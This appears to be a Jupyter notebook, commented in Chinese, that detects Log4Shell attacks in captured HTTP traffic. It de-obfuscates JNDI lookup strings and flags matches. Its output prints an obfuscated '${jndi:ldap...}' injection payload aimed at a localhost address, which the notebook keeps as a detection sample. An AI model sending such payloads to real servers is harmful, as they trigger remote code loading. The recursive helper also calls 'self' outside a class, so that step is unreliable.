investigation/S2_Log4j检测_beta.ipynb

{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 52,
   "id": "85427d2b",
   "metadata": {
    "editable": true,
    "slideshow": {
     "slide_type": ""
    },
    "tags": []
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "连接成功\n",
      "检查完成\n"
     ]
    }
   ],
   "source": [
    "# ---------------------------------\n",
    "# 初始化\n",
    "# ---------------------------------\n",
    "import json\n",
    "\n",
    "# 加载 gRPC 模块接口\n",
    "from btab import BTAB, Engines, Search\n",
    "\n",
    "# 初始化系统\n",
    "btabIns = BTAB()\n",
    "if btabIns.Ping().Type == \"success\":\n",
    "    print(\"连接成功\")\n",
    "\n",
    "# 检查所有可用引擎\n",
    "eg = Engines()\n",
    "if eg.CheckAlive().Type == \"success\":\n",
    "    print(\"检查完成\")"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 53,
   "id": "718339f9",
   "metadata": {
    "editable": true,
    "slideshow": {
     "slide_type": ""
    },
    "tags": []
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "2"
      ]
     },
     "execution_count": 53,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "\n",
    "# 初始化查询\n",
    "# 设置连接设备\n",
    "search = Search()\n",
    "\n",
    "# 进行查询\n",
    "content = \"\"\"\n",
    "// 拉取数据\n",
    "| pcap\n",
    "|: file log4j_test.pcap\n",
    "|: fields [\"ip.src\", \"tcp.srcport\", \"ip.dst\", \"tcp.dstport\",\"text\"]\n",
    "|: condition http\n",
    "\"\"\"\n",
    "result1 = search.Submit(content)\n",
    "# print(result1)\n",
    "# print(result1.Result)\n",
    "results = json.loads(result1.Result)\n",
    "len(results)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 54,
   "id": "6a1b1f6d",
   "metadata": {
    "editable": true,
    "slideshow": {
     "slide_type": ""
    },
    "tags": []
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "开始检测： Form item: \"a\" = \"${jndi:ld${:gfdsghsfdhsdfh:-a}p://127.0.0.1:1111/f${lower:s}ad}\"\n",
      "提取: ['${jndi:ld${:gfdsghsfdhsdfh:-a}p://127.0.0.1:1111/f${lower:s}ad}']\n",
      "开始检测： HTTP chunked response\n",
      "提取: []\n",
      "==========  检出  ==========\n",
      "检测到log4j漏洞攻击\n",
      "还原得到 payload :${jndi:ld${:gfdsghsfdhsdfh:-a}p://127.0.0.1:1111/f${lower:s}ad}\n"
     ]
    }
   ],
   "source": [
    "import re\n",
    "\n",
    "'''\n",
    "    用来处理payload，将${:-}、${upper:}、${lower:}这种形式的混肴替换掉，还原出最初的payload\n",
    "'''\n",
    "\n",
    "def getrealpayload(data):\n",
    "    flag = 0\n",
    "    try:\n",
    "        lt = re.findall(r'\\${(?:(?!\\${)[^}])+?}', data)\n",
    "        for var1 in lt:\n",
    "            # print(var1)\n",
    "            if ':-' in var1:\n",
    "                flag = 1\n",
    "                if ':-}' in var1:\n",
    "                    var2 = ''\n",
    "                else:\n",
    "                    var2 = re.search(r':-(.+?)}', var1).group(1)\n",
    "                    # print(var2)\n",
    "                tmp_data = data.replace(var1, var2)\n",
    "            elif 'upper' in var1 or 'lower' in var1:\n",
    "                flag = 1\n",
    "                var2 = re.search(r'(?:lower|upper):(.+?)}', var1).group(1)\n",
    "                tmp_data = data.replace(var1, var2)\n",
    "        if flag == 0:\n",
    "            return data\n",
    "        else:\n",
    "            return self.getrealpayload(tmp_data)\n",
    "    except:\n",
    "        return data\n",
    "\n",
    "finalStatus = False\n",
    "eventResult = []\n",
    "\n",
    "for r in results:\n",
    "    i = json.loads(r)[\"text\"][3]\n",
    "    print(\"开始检测：\",i)\n",
    "    try:\n",
    "        # tmp_data = binascii.a2b_hex(i)\n",
    "        # 提取出payload\n",
    "        lt = re.findall(r'\\${.+}', i)\n",
    "        print(\"提取:\", lt)\n",
    "        for j in lt:\n",
    "            # 还原payload\n",
    "            tmp_payload = getrealpayload(j)\n",
    "            # print(tmp_payload)\n",
    "\n",
    "            # 对还原后的payload进行判断\n",
    "            if '${jndi:' in tmp_payload:\n",
    "                finalStatus = True\n",
    "                eventResult.append({\n",
    "                    \"name\": \"检测到log4j漏洞攻击\",\n",
    "                    \"status\": finalStatus,\n",
    "                    \"desc\": f\"还原得到 payload :{tmp_payload}\"\n",
    "                })\n",
    "\n",
    "    except Exception as e:\n",
    "        print(\"错误:\", e)\n",
    "        pass\n",
    "if finalStatus == True:\n",
    "    print(\"=\"*10,\" 检出 \", \"=\"*10)\n",
    "    for e in eventResult:\n",
    "        print(e[\"name\"])\n",
    "        print(e[\"desc\"])"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "22a30965-93e0-4750-81c5-6b38c388ebc6",
   "metadata": {
    "editable": true,
    "slideshow": {
     "slide_type": ""
    },
    "tags": []
   },
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.11.8"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}